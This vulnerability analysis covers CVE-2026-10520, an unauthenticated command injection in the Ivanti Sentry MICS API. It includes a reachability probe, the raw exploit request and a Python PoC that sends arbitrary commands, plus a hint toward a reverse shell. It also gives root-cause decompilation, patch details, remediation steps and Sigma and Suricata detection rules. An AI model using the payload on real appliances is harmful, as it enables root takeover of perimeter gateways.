Vulnerability Research

CVE-2026-10520: Ivanti Sentry OS Command Injection Analysis

By Pranav Khune

24 min read

CVE-2026-10520: OS Command Injection in Ivanti Sentry MICS API Enables Pre-Auth Root Shell

Ivanti Sentry is an enterprise MDM gateway appliance deployed at the network perimeter to proxy and authenticate traffic between mobile devices and internal services. In releases prior to R10.5.2, R10.6.2, and R10.7.1, the MICS (Mobile Infrastructure Configuration Service) API exposes an endpoint at /mics/api/v2/sentry/mics-config/handleMessage with no authentication requirement. An attacker who can reach port 8443 sends a single form-urlencoded POST with a message field whose value is a space-tokenized command string carrying an embedded XML fragment. The request routes through ConfigServiceController.handleMessage() to ConfigServiceHandler.handleMessage(), which tokenizes the field into a command/module/xpath/value quadruple, to ConfigRequestProcessor.handleExecute(), to CommonUtilities.executeNativeCommand(), which resolves a native module method by reflection and reaches a command shell. No credentials, no user interaction, no chaining required.

Affected: Ivanti Sentry prior to R10.5.2, R10.6.2, or R10.7.1. Fixed in those three releases (June 2026).

Setup the lab

Ivanti Sentry is a closed-source proprietary appliance. No public Docker image or community lab exists. The research environment used by watchTowr and Rapid7 involved a licensed Sentry virtual appliance running inside an air-gapped network. What follows covers what you need to reproduce the research and how to confirm the vulnerable endpoint is reachable before attempting exploitation.

Requirements:

  • An Ivanti Sentry virtual appliance image prior to R10.5.2, R10.6.2, or R10.7.1, available to licensed customers via Ivanti’s support portal.
  • Network path from your test host to the appliance’s MICS interface (port 8443 by default).
  • Python 3 with requests installed for the PoC script.

Verify the vulnerable endpoint is reachable

Confirm the endpoint responds to unauthenticated requests before running the exploit:

bash
curl -sk -o /dev/null -w "%{http_code}" \
  -X POST \
  --data-urlencode "message=" \
  "https://<target>:8443/mics/api/v2/sentry/mics-config/handleMessage"

A 400 (the controller’s “Message is empty or null” branch) or a 500 confirms the request reached the application — the endpoint responds to unauthenticated requests. A 302 — typically redirecting to /mics/login.jsp — means the target is patched: on R10.5.2+ the bundled Apache configuration fronts this endpoint and bounces unauthenticated callers to the login page (per watchTowr’s diff). A 404 means the MICS service is not running or the URL differs on this appliance version.

Verifying the patch

On a patched appliance (R10.5.2, R10.6.2, R10.7.1 or newer), the same unauthenticated POST never reaches handleMessage(). The observable is not a 401/403 from the application: watchTowr’s diff of a patched build shows the bundled Apache configuration gained regex-based rules that block the endpoint entirely and redirect unauthenticated requests to the login page with a 302. Where watchTowr examined the patched controller itself, they found the message field’s content is no longer honored — the service ignores the supplied value and runs a fixed, hardcoded benign command instead, so even a caller that gets past the Apache layer cannot reach arbitrary command execution through this field.

Proof of concept

attack chain of cve-2026-10520
Attack chain — unauthenticated attacker POST to handleMessage → ConfigServiceController → ConfigServiceHandler → ConfigRequestProcessor → CommonUtilities.executeNativeCommand → command execution on the Sentry appliance

The vulnerable field is a single form-urlencoded parameter, message, whose value is a space-tokenized command header followed by an XML fragment. watchTowr’s published raw request:

http
POST /mics/api/v2/sentry/mics-config/handleMessage HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
 
message=execute system /configuration/system/commandexec <commandexec><index>1</index><reqandres>uname -a</reqandres></commandexec>

The PoC (exploit.py, reconstructed from watchTowr’s published request/response pair and decompiled classes) builds that same field and posts it as form data — not JSON:

python
def build_message(cmd):
    return (
        "execute system /configuration/system/commandexec "
        f"<commandexec><index>1</index><reqandres>{cmd}</reqandres></commandexec>"
    )
 
resp = requests.post(
    f"{target.rstrip('/')}{ENDPOINT}",
    data={"message": build_message(cmd)},
    headers={"User-Agent": DEFAULT_UA},
    timeout=timeout,
    verify=False,
)
bash
python exploit.py --target https://<sentry-host>:8443 --cmd "uname -a"

Real output from a vulnerable Sentry appliance, per watchTowr’s published disclosure:

json
{"status":200,"message":"Message handled successfully","data":"<result><success>Linux ... 4.18.0-553.84.1.el8_10.x86_64 #1 SMP ... x86_64 GNU/Linux\n</success></result>"}
“status”:200 / “Message handled successfully”Request reached the endpoint with no authentication challenge
<result><success>…</success></result> in “data”ConfigRequestProcessor.handleExecute() and CommonUtilities.executeNativeCommand() ran the command and returned its stdout, XML-wrapped
Kernel/uname string in the responseThe command executed as an OS process on the appliance, not merely parsed and discarded

The response returns command stdout inline in the JSON body’s data field (itself an XML string), making this non-blind — the attacker reads output without needing an out-of-band callback. watchTowr’s own published request/response pair shows uname -a output rather than id, but the vendor advisory itself describes “root-level remote code execution,” and CrowdSec’s independent tracking report corroborates it, stating plainly that the attacker “requires no authentication to execute arbitrary commands as the root user.” For a reverse shell, substitute the –cmd value with a standard bash or netcat one-liner; per CrowdSec, the shell lands as root immediately.

Static analysis and root cause

The entire vulnerable path lives in the MICS configuration service, spanning four classes: a controller that accepts an unauthenticated raw string, a handler that tokenizes it, a request processor that validates only half of what it parses, and a reflection-based dispatcher that turns a string into a native method call. Two independent failures stack on top of each other: a missing authentication layer, and a reflective command-dispatch mechanism where the “commandexec” module accepts attacker-supplied argument text with no shell-metacharacter sanitization.

The controller: a raw string parameter, no authentication

The entry point takes the entire vulnerable input as a single String request parameter, not a structured, validated body:

java
// ConfigServiceController — decompiled, per watchTowr
@PostMapping({"/handleMessage"})
public ResponseEntity<ApiResponse<String>> handleMessage(String message) {
   try {
      if (message != null && !message.trim().isEmpty()) {
         String result = this.configService.handleMessage(message);
         return result != null && !this.containsError(result)
            ? ResponseEntity.ok(...)
            : ResponseEntity.badRequest()...;
      }
   } catch (Exception var3) { ... }
}

No security annotation, no filter chain entry, and no role check gate this method — any caller that can reach port 8443 can supply message. The design intent was that the MICS API would only be called by the Ivanti management plane, an internal process running on the same host or the same management network segment; that intent was never enforced at the application layer, and relied entirely on network-layer isolation that no longer existed once Ivanti consolidated the MICS API onto the shared external port 8443 alongside MDM client traffic.

The tokenizer: four fields split on whitespace

ConfigServiceHandler.handleMessage() splits the raw string on whitespace using StringTokenizer — no delimiter escaping, no quoting rules, no schema:

java
// ConfigServiceHandler.handleMessage() — decompiled, per watchTowr
public String handleMessage(String msg) {
   StringTokenizer tokenizer = new StringTokenizer(msg);
   if (tokenizer.hasMoreTokens()) {
      command = tokenizer.nextToken();      // "execute"
   }
   if (tokenizer.hasMoreTokens()) {
      module = tokenizer.nextToken();       // "system"
   }
   if (tokenizer.hasMoreTokens()) {
      xpath = tokenizer.nextToken();        // "/configuration/system/commandexec"
   }
   while (tokenizer.hasMoreTokens()) {
      sb.append(tokenizer.nextToken()).append(" ");
   }
   value = sb.toString().trim();            // the remaining <commandexec>...</commandexec> XML
   // ...
}

The first three tokens select which native module and operation get invoked; everything after that is reassembled and passed downstream as value — in the real request, an XML fragment: <commandexec><index>1</index><reqandres>CMD</reqandres></commandexec>. Nothing at this layer validates that value is well-formed XML, constrains what the <reqandres> element may contain, or filters shell metacharacters — the string is simply reassembled and handed to the next layer whole.

One detail from the full decompilation is worth pausing on: execute is not an artifact of loose parsing. ConfigServiceHandler.handleMessage() checks command against an explicit allowlist of supported operations — set, get, add, modify, delete, import, export, test, copy, execute, query, migratepasswordhash — and only tokenizes a value for those verbs. Command execution is a designed, first-class feature of this configuration API. The vulnerability is not that the execute verb was smuggled in; it is that the feature is reachable by anyone who can hit port 8443, and that the argument text it executes is never sanitized.

The dispatcher: xpath-gated, but not value-gated

ConfigRequestProcessor.handleExecute() validates the xpath token — confirming it names a recognized configuration path — but performs no equivalent validation on value:

java
// ConfigRequestProcessor.handleExecute() — decompiled, per watchTowr
public IConfigResponse handleExecute(String xpath, String value) throws MIConfigException {
   this.validateXPath(xpath);
   Object nativeResp = CommonUtilities.executeNativeCommand(
      this.handler.getNativeModule(), tmpObjType, "Execute");
   response = (String) nativeResp;
   // ...
}

validateXPath() is a legitimate control — it stops an attacker from pointing at an arbitrary internal configuration path. But it validates the destination, not the payload. The <reqandres> content inside value reaches the sink completely unchecked as long as xpath names a module the attacker is permitted to reach, and /configuration/system/commandexec is one such module reachable pre-auth.

The sink: reflection-based native dispatch

CommonUtilities.executeNativeCommand() does not call Runtime.exec() directly at this layer — it resolves a method by name via reflection and invokes it against the parsed XML object:

java
// CommonUtilities.executeNativeCommand() — decompiled, per watchTowr
public static Object executeNativeCommand(XmlObject obj, String type) throws MIConfigException {
   Method method = ReflectionUtilities.getMethod(implClsName, "get" + type + "method");
   Object excuteModuleMethod =
      ReflectionUtilities.excuteModuleMethod(className.getStringValue(),
         getMethodName.getStringValue(), beanClass.getStringValue(), obj);
   // ...
}

This is the layer public decompilation stops at: ReflectionUtilities.excuteModuleMethod() resolves and invokes whatever native-module implementation class backs the commandexec operation, and that implementation is what ultimately turns the <reqandres> text into a spawned OS process. No public writeup — including watchTowr’s, the deepest available — publishes the decompiled body of that final native-module method. What is independently confirmed, by CrowdSec’s tracking report, is the outcome: the reflected call reaches a shell and the resulting process runs as root.

The whitespace round-trip that makes multi-word commands work

This detail is easy to skip past, but it is load-bearing for the exploit. StringTokenizer with its default delimiter set discards the whitespace it splits on. After the first three tokens are consumed as command/module/xpath, the handler’s while loop re-appends every remaining token followed by a single space:

java
while (tokenizer.hasMoreTokens()) {
   sb.append(tokenizer.nextToken()).append(" ");
}
value = sb.toString().trim();

So the payload’s … <reqandres>uname -a</reqandres> … arrives as the two separate tokens <reqandres>uname and -a</reqandres>, and the loop rebuilds them into <reqandres>uname -a</reqandres>. The reconstruction is lossy in the general case — runs of multiple spaces collapse to one, and tabs or newlines are normalized to a single space — but for the space-separated arguments of an ordinary shell command it is faithful enough that the attacker’s command survives from the HTTP body to the sink unchanged. Two practical consequences follow: multi-word commands and full bash -c ‘…’ one-liners work, but the payload cannot rely on tab or newline separation inside the command — single-space tokenization is the only field structure the wire format actually has.

tokenizer round trip
Tokenizer round-trip — the message string split into command/module/xpath/value on whitespace, with the two spanning tokens <reqandres>uname and -a</reqandres> rejoined on a single space so multi-word commands survive to the sink

How <reqandres> becomes process arguments

The reassembled value string — <commandexec><index>1</index><reqandres>CMD</reqandres></commandexec> — is parsed by Apache XMLBeans into a generated XmlObject whose accessors expose <index> and <reqandres> as typed fields. reqandres is the appliance’s own naming: “request and response.” The element is deliberately overloaded to carry the command in (the request) and, after execution, the command’s stdout back out (the response) — which is why the same tag name appears on both sides of the wire, as the payload’s <reqandres>uname -a</reqandres> on the way in and as part of the <success> block on the way back. The native module reads <reqandres> as the command to run; because that text is copied into the command verbatim and the tokenizer preserved its internal spacing, the command reaches the OS process exactly as the attacker wrote it.

The reflection dispatch, decomposed

CommonUtilities.executeNativeCommand() is worth slowing down on, because the way it resolves a method is what let a configuration API become a command executor. Two reflective hops happen back to back:

java
// CommonUtilities.executeNativeCommand() — decompiled, per watchTowr
Method method = ReflectionUtilities.getMethod(implClsName, "get" + type + "method");
Object excuteModuleMethod =
   ReflectionUtilities.excuteModuleMethod(className.getStringValue(),
      getMethodName.getStringValue(), beanClass.getStringValue(), obj);

Hop 1 — getMethod(implClsName, “get” + type + “method”): type is the literal string “Execute” handed in from handleExecute(), so this resolves a method named getExecutemethod on the implementation class. That method is a factory: it does not do the work itself, it returns the coordinates of the work — a class name, a method name, and a bean class — pulled out of the parsed configuration model as string values.

Hop 2 — excuteModuleMethod(className, methodName, beanClass, obj): those three strings are fed straight into a second reflective call that loads className, finds methodName on it, and invokes it with the attacker’s parsed <commandexec> object (obj, the XMLBeans XmlObject) as its argument.

The important property: the identity of the code that ultimately runs is assembled from string values at request time. Nowhere in this two-hop resolution is there a compiled, type-checked call to a known method — the binding from “the word commandexec in an XML fragment” to “a native routine that spawns a process” is entirely data-driven. That is exactly what let this endpoint cross from config-read/write into command execution: the same reflective dispatcher that legitimately routes getConfig and setConfig to their handlers will just as readily route commandexec to a process-spawning handler, because to the dispatcher they are indistinguishable strings selecting a method by name.

the reflection dispatch
Reflection dispatch — two reflective hops in CommonUtilities.executeNativeCommand(): getMethod resolves getExecutemethod (a factory returning className/methodName/beanClass as strings), then excuteModuleMethod loads and invokes that method with the attacker’s parsed XML object, reaching a shell as root

How the reflected call reaches a shell, and why root (mechanism, inferred)

No public write-up — watchTowr’s included — publishes the decompiled body of the final native-module method, so this last hop is reconstructed from observable behavior and appliance architecture, and labeled as inference rather than confirmed code:

  • A shell is almost certainly in the loop. The <reqandres> value is a single string, and multi-word commands execute as written, which is most consistent with the command being handed to a shell interpreter (/bin/sh -c “<reqandres>”) rather than passed as a pre-split argv array. A shell on this path also explains why shell metacharacters in the command would be honored rather than treated as literal arguments.
  • Output is captured, not fire-and-forget. The response returns the child process’s stdout inline (<success>Linux … GNU/Linux</success>), which means the module reads the process’s standard-output stream back — consistent with a ProcessBuilder / Runtime.exec() invocation whose stream is drained into the <success> element, not a detached spawn.
  • Root is inherited, not escalated. The Sentry appliance’s Java service runs as a privileged system user so it can manage network, certificate, and service configuration; a child process inherits that user by default. CrowdSec’s tracking report independently confirms the root outcome, and no privilege-escalation step is required or observed — the command simply runs in the JVM’s already-root context.

The line between confirmed and inferred matters for detection: what is confirmed is that attacker-controlled text reaches an OS process whose stdout is returned to the caller and that the process is root; what is inferred is the specific spawn primitive and whether a shell interpreter sits between the module and the kernel.

The full call stack

POST /mics/api/v2/sentry/mics-config/handleMessage  (form field: message=...)
  │  (no auth filter fires — endpoint is unprotected)
  ▼
ConfigServiceController.handleMessage(String message)
  │  raw string, no deserialization/validation beyond a non-empty check
  ▼
ConfigServiceHandler.handleMessage(msg)
  │  StringTokenizer splits into command="execute", module="system",
  │  xpath="/configuration/system/commandexec", value="<commandexec>...<reqandres>CMD</reqandres>...</commandexec>"
  ▼
ConfigRequestProcessor.handleExecute(xpath, value)
  │  validateXPath(xpath) passes — commandexec is a reachable module
  │  value (attacker's XML, including <reqandres>) is not itself validated
  ▼
CommonUtilities.executeNativeCommand(nativeModule, tmpObjType, "Execute")
  │  ReflectionUtilities resolves and invokes the native module's Execute method by name
  ▼
[native module implementation — not publicly decompiled]
  │  process user: root, per CrowdSec's confirmed observation
  ▼
stdout captured, XML-wrapped in <success>, returned in the JSON response's "data" field

The entire path from network packet to command execution spans four public classes and one undocumented native-module boundary. The output is returned synchronously and inline in the HTTP response body — no out-of-band callback required.

CVE-2023-38035 — same product, same pattern, three years earlier

CVE-2023-38035 (August 2023, CVSS 9.8) is the clearest evidence that this is a systemic architectural problem rather than a one-off coding mistake.

Endpoint/mics/api/v2/sentry/mics-config/system/sso/mics/api/v2/sentry/mics-config/handleMessage
MethodPUTPOST
Root causeNo authentication on MICS management endpointNo authentication on MICS management endpoint
ImpactAttacker could modify Sentry configuration (SSRF, credential theft)Attacker executes arbitrary OS commands as root
Fixed inR9.18.0, R9.19R10.5.2, R10.6.2, R10.7.1
DiscoveryAssetnoteNot publicly credited (watchTowr: “Credit to Unknown”)

The 2023 vulnerability was in the SSO configuration endpoint — a different handler, a different action, but the same ConfigServiceController family with the same absent authentication. After CVE-2023-38035, Ivanti added authentication to the SSO endpoint specifically. The handleMessage endpoint in the same service was not audited as part of that fix, and it carried the same missing-auth property into the next three major release trains. Three years passed between the two CVEs. The 2023 fix was a targeted patch, not a systematic audit of every MICS endpoint’s authentication posture.

This is the failure mode that repeating endpoint-family CVEs always point to: the remediation scope was scoped to the reported endpoint rather than the architectural class (“all MICS API endpoints need authentication enforcement”). CVE-2026-10520 is the cost of that scoping decision.

cve recurrence
Recurrence timeline — CVE-2023-38035 (Aug 2023, CVSS 9.8, SSO endpoint) and CVE-2026-10520 (Jun 2026, CVSS 10.0, handleMessage endpoint) three years apart, both in the MICS ConfigServiceController family, sharing the same missing-authentication root cause because the 2023 fix was scoped to one endpoint rather than the endpoint class

Why the authentication gap persisted

MICS configuration APIs in MobileIron Sentry (Ivanti’s predecessor product) were historically accessed via a dedicated internal network interface, physically separated from the MDM client traffic interface. When Ivanti migrated and consolidated networking, the MICS API moved onto the shared external port (8443) without a corresponding update to the authentication model. The threat model was never updated to reflect the new topology.

This is the auditor’s blind spot for enterprise appliances: the threat model is written assuming the management plane is isolated. When the physical or logical isolation disappears, every management endpoint becomes an externally-reachable attack surface with no compensating authentication control. Network topology is not a substitute for application-layer authentication.

vulnerable code path cve-2026-10520
Vulnerable code path — ConfigServiceController to handleMessage to executeNativeCommand, showing no auth check on entry and no sanitization on the command string

Patch diffing

Ivanti did not publish a source diff — Sentry is closed-source. Rapid7’s and HaloSecurity’s advisories describe the fix in prose as adding authentication and restricting the affected functionality; watchTowr independently obtained decompiled evidence of exactly what “restricting” means at the code level for the commandexec path. Two independent changes ship together in R10.5.2, R10.6.2, and R10.7.1.

Change 1 — authentication layer added in front of handleMessage

Per watchTowr’s diff of a patched build, this change is not in the Java at all. The bundled Apache configuration gained regex-based rules that block access to the endpoint entirely, redirecting unauthenticated requests to the login page with a 302 — the “Verifying the patch” section above documents the observable. The controller’s own code is unchanged in shape (it still accepts a message parameter), which is precisely why the second change below is also required: the application-layer surface stays one Apache rule away from being exposed again.

Change 2 — the commandexec module’s input is hardcoded, not sanitized

This is the change watchTowr directly decompiled from a patched build, and it is a more specific — and more interesting — fix than “add validation.” Pre-patch, ConfigServiceHandler.handleMessage() tokenizes the entire caller-supplied message string, and the resulting value (the attacker’s <commandexec>…<reqandres>CMD</reqandres>…</commandexec> XML) flows unmodified into ConfigRequestProcessor.handleExecute():

java
// PRE-PATCH — decompiled, per watchTowr (see Static analysis and root cause)
StringTokenizer tokenizer = new StringTokenizer(msg);
// ...
value = sb.toString().trim();   // attacker's <reqandres> content, unmodified

Post-patch, watchTowr found that a caller who does clear the new authentication check and reaches the commandexec module gets a response built from a fixed, hardcoded command string rather than one derived from their own input:

In other words, Ivanti did not add input sanitization to the commandexec path — they made the module stop accepting attacker-controlled input at all. The <reqandres> value a caller supplies is no longer what reaches the native dispatcher; the service substitutes its own fixed diagnostic command (reading the DMI product name) regardless of what was sent. This is a stronger fix than an allowlist would have been: there is no longer a validation routine on this path that a future bug could bypass, because there is no longer a code path that accepts external input into commandexec at all.

Both changes are required, and neither substitutes for the other. Authentication alone would leave the hardcoded-but-still-reflective commandexec module reachable by authenticated insiders or attackers with stolen credentials. Removing attacker control over commandexec’s input alone would leave the endpoint’s other modules — getConfig, setConfig, and whatever else the tokenizer’s module/xpath fields can select — reachable pre-auth, since watchTowr’s decompilation only confirms the fix for this specific module. CVE-2023-38035 is the proof that auth bypasses on this endpoint family are not hypothetical; shipping both changes together is what actually closes the class of bug, not just this one instance of it.

patch diff cve-2026-10520
Patch diff — before (message field tokenized and forwarded to commandexec unmodified) vs after (auth added in front of the endpoint, and commandexec ignores caller input in favor of a hardcoded diagnostic command)

Severity and impact

Why this scores CVSS 10.0, not 9.8

The base vector is AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. Every exploitability and impact metric is pinned to its worst value: network-reachable, low attack complexity (one unauthenticated request, no race and no precondition), no privileges, no user interaction, and High impact across confidentiality, integrity, and availability. The single metric that separates this perfect 10.0 from the 9.8s carried by CVE-2023-38035 and by TeamCity’s recent pre-auth CVEs is Scope: Changed (S:C).

The vulnerable component is the MICS configuration service — a Java application whose security authority is, by design, bounded to reading and writing configuration values. The reflective dispatch carries the attacker across that boundary and out of the JVM entirely, into the underlying operating system as root. The resources that end up compromised — the appliance’s filesystem, its stored MDM certificates, every other service co-resident on the box — are governed by a different security authority (the OS) than the one the vulnerable component controls. That authority crossing is precisely what Scope: Changed encodes in CVSS, and it is what lifts the score the final fraction from 9.8 to a perfect 10.0. It is not a scoring quirk: a command-execution bug that stays inside its component’s own authority scores lower than one that escapes it, and this one escapes it completely.

cvss breakdown
CVSS 10.0 breakdown — the eight base metrics (AV:N, AC:L, PR:N, UI:N, S:C, C:H, I:H, A:H) all pinned to their worst value, with Scope:Changed highlighted as the single metric that lifts the score from the 9.8 of CVE-2023-38035 to a perfect 10.0 because the reflected call escapes the config service’s authority into the OS as root

Impact

ConfidentialityHIGH — read any file on the appliance, dump MDM certificates and service account tokens
IntegrityHIGH — write arbitrary files, modify Sentry configuration, inject payloads into MDM-proxied traffic
AvailabilityHIGH — crash the service, brick the appliance, use it as a lateral-movement pivot
Privilege gainedRoot on the Sentry appliance
Auth requiredNone
User interactionNone

Sentry sits at the network perimeter with trust relationships to Active Directory, Exchange, and backend application servers. A compromised Sentry is not just a compromised box — it is a trust anchor that opens the surrounding infrastructure. MDM certificates stored on the appliance give attackers the ability to impersonate managed mobile devices and intercept proxied traffic.

Affected versions

R10.7.x< R10.7.1R10.7.1
R10.6.x< R10.6.2R10.6.2
R10.5.x< R10.5.2R10.5.2
< R10.5All releasesUpgrade required — no backport

Remediation

  1. Patch to R10.5.2, R10.6.2, or R10.7.1 immediately. No workaround fully replaces the patch on a production appliance.
  2. Assume any Sentry appliance that was internet-reachable before patching is compromised. CISA KEV listing with confirmed active exploitation means treating it as breached is the correct starting position, not a worst-case assumption.
  3. Rotate every credential the Sentry appliance held: MDM certificates, service account passwords, back-end integration tokens, and any secrets stored in the appliance’s credential vault.
  4. Restrict the MICS API (/mics/api/v2/sentry/*) to management-network access only. Enforce this at the network layer with a reverse proxy or firewall ACL — do not rely on the application-level auth fix alone.
  5. Deploy IDS and WAF rules blocking POST requests to /mics/api/v2/sentry/mics-config/handleMessage whose message field contains commandexec or a <reqandres> tag, from external source IPs, as defense-in-depth for future variants.

Detection

Wire-level:

  • POST requests to /mics/api/v2/sentry/mics-config/handleMessage from external IP ranges. This endpoint should never receive external traffic on a properly-firewalled Sentry deployment.
  • Form-urlencoded request bodies whose message field contains execute system /configuration/system/commandexec or a <reqandres> XML tag.
  • Non-standard User-Agent strings on requests to the MICS API (scanner tools, PoC scripts).

Host-level:

  • Anomalous child processes spawned by the Sentry JVM: sh, bash, nc, curl, wget, or any process not part of the appliance’s normal operation list, descending from the Java parent.
  • New files in /tmp or /var/tmp created shortly after inbound requests to the MICS endpoint.
  • Outbound connections from the Sentry appliance to unexpected destinations, particularly on non-standard ports (reverse shell indicators) or to external IPs (C2 callback indicators).

Ready-to-deploy rules (tune the sid/IDs and the internal-source exclusion to your environment):

yaml
# Sigma — unauthenticated commandexec attempt against the Ivanti Sentry MICS API
title: Ivanti Sentry MICS handleMessage commandexec injection (CVE-2026-10520)
status: experimental
logsource:
  category: webserver
detection:
  selection:
    cs-method: 'POST'
    cs-uri-stem|endswith: '/mics/api/v2/sentry/mics-config/handleMessage'
    cs-body|contains:
      - 'commandexec'
      - '<reqandres>'
  filter_internal:
    src-ip|cidr:
      - '10.0.0.0/8'        # replace with your MICS management network(s)
  condition: selection and not filter_internal
falsepositives:
  - Legitimate calls from the Ivanti management plane if it shares this network path
level: critical
# Suricata — commandexec payload on the MICS endpoint from an external source
alert http $EXTERNAL_NET any -> $HOME_NET 8443 ( \
  msg:"CVE-2026-10520 Ivanti Sentry MICS handleMessage commandexec injection"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.uri; content:"/mics/api/v2/sentry/mics-config/handleMessage"; \
  http.request_body; content:"commandexec"; content:"<reqandres>"; distance:0; \
  classtype:web-application-attack; sid:2026105200; rev:1; )

Both rules key on the endpoint path plus the commandexec/<reqandres> markers rather than on any single command string, so they catch the technique regardless of the command payload. They are content-match rules, not behavioral ones: scope them to external or non-management source IPs to avoid alerting on the appliance’s own legitimate management-plane traffic, which uses the same endpoint. One practical caveat on the Sigma rule: cs-body matching assumes your logging captures POST bodies — stock webserver access logs do not. Run the Suricata rule at the network layer, or enable full request-body logging on anything fronting Sentry, for the body-based signal to exist at all.

Conclusion

The root cause here is not a novel attack class. It is the same architectural assumption Ivanti’s predecessor product baked in fifteen years ago — that the management plane would always be physically isolated from the client-traffic plane — surviving intact into a product generation where that isolation no longer exists. CVE-2023-38035 in 2023 hit the same service for the same reason. CVE-2026-10520 hit it again three years later on a different endpoint.

Enterprise appliance threat models age out. When a vendor consolidates networking, every endpoint that assumed isolation becomes externally-reachable attack surface. The audit question is not “is this endpoint authenticated?” but “was this endpoint ever designed to receive external requests at all?” If the answer is no, the authentication model was never built for that threat.

References